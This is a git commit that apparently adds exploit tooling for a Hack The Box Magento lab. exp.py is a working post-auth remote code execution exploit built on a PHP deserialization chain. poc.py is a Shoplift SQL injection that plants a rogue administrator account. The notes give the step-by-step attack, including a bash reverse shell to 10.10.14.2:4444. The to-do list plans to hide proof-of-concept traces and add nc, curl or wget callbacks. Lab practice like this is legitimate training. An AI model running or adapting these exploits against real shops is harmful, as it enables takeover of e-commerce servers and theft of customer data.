Commit b1fe754
2025-03-01 14:54:25
exp.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python
+# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
+# Google Dork: "Powered by Magento"
+# Date: 08/18/2015
+# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
+# Vendor Homepage: http://magento.com/
+# Software Link: https://www.magentocommerce.com/download
+# Version: 1.9.0.1 and below
+# Tested on: Ubuntu 15
+# CVE : none
+
+from hashlib import md5
+import sys
+import re
+import base64
+import mechanize
+
+
+def usage():
+ print("Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"")
+ sys.exit()
+
+
+if len(sys.argv) != 3:
+ usage()
+
+# Command-line args
+target = sys.argv[1]
+arg = sys.argv[2]
+
+# Config.
+username = 'ypwq'
+password = '123'
+php_function = 'system' # Note: we can only pass 1 argument to the function
+install_date = b'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
+
+# POP chain to pivot into call_user_exec
+payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
+ '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
+ 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
+ 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
+ '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
+ ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
+ len(arg), arg)
+# Setup the mechanize browser and options
+br = mechanize.Browser()
+#br.set_proxies({"http": "localhost:8080"})
+br.set_handle_robots(False)
+
+request = br.open(target)
+
+br.select_form(nr=0)
+#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
+br.form.fixup()
+br['login[username]'] = username
+br['login[password]'] = password
+
+br.method = "POST"
+request = br.submit()
+content = request.read()
+
+url = re.search("ajaxBlockUrl = \'(.*)\'", content.decode())
+url = url.group(1)
+key = re.search("var FORM_KEY = '(.*)'", content.decode())
+key = key.group(1)
+
+request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
+tunnel = re.search("src=\"(.*)\?ga=", request.read().decode())
+tunnel = tunnel.group(1)
+
+payload = base64.b64encode(payload.encode())
+gh = md5(payload + install_date).hexdigest()
+
+#print("T",tunnel)
+#print("P",payload)
+#print("GH", gh)
+exploit = tunnel + '?ga=' + payload.decode() + '&h=' + gh
+
+try:
+ request = br.open(exploit)
+except (mechanize.HTTPError, mechanize.URLError) as e:
+ print(e.read().decode())
+
notes.md
@@ -0,0 +1,37 @@
+- [x] validate steps
+- [ ] develop 4 dev requirements
+- [ ] make actions document
+
+```bash
+sudo apt install openvpn
+sudo openvpn <HTBVPN>.ovpn
+```
+
+```bash
+sudo apt install -y nmap curl
+```
+
+```bash
+export TARGET_IP=10.129.232.18
+ping -c 1 ${TARGET_IP}
+nmap -sV -T4 ${TARGET_IP}
+```
+
+```bash
+curl http://${TARGET_IP} -v
+# pause: why did this fail
+curl http://${TARGET_IP} -v --follow
+# pause: why did this fail
+sudo vim /etc/hosts
+# <IP> swagshop.htb
+```
+
+```bash
+curl -L http://swagshop.htb/app/etc/local.xml
+Wed, 08 May 2019 07:23:09 +0000
+```
+
+```bash
+python3 poc.py http://swagshop.htb
+(venv) python3 exp.py http://swagshop.htb/index.php/admin /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'
+```
poc.py
@@ -0,0 +1,38 @@
+import requests
+import base64
+import sys
+
+target = sys.argv[1]
+
+if not target.startswith("http"):
+ target = "http://" + target
+
+if target.endswith("/"):
+ target = target[:-1]
+
+target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"
+
+# For demo purposes, I use the same attack as is being used in the wild
+SQLQUERY="""
+SET @SALT = 'rp';
+SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
+SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
+INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
+INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
+"""
+
+# Put the nice readable queries into one line,
+# and insert the username:password combinination
+query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
+pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query).encode()
+
+# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
+r = requests.post(target_url,
+ data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
+ "filter": base64.b64encode(pfilter),
+ "forwarded": 1})
+if r.ok:
+ print("WORKED")
+ print("Check {0}/admin with creds ypwq:123".format(target))
+else:
+ print("DID NOT WORK")
req.md
@@ -0,0 +1,21 @@
+- Make a scanner for
+ - Magento server - https://github.com/steverobbins/magescan
+ - report server version
+ - magento copyright year
+ - check paths:
+ - app/etc/local.xml
+ - magento_version
+ - downloader
+
+https://github.com/joren485/Magento-Shoplift-SQLI
+- update to python3
+- confirm sqli vulnerable
+- modify to avoid obvious poc values in the database
+
+https://www.exploit-db.com/exploits/37811
+- update to python3
+- create a repl for command execution
+- make a better tunnel callback mechanism
+ - /bin/nc (not traditional)
+ - /usr/bin/curl
+ - /usr/bin/wget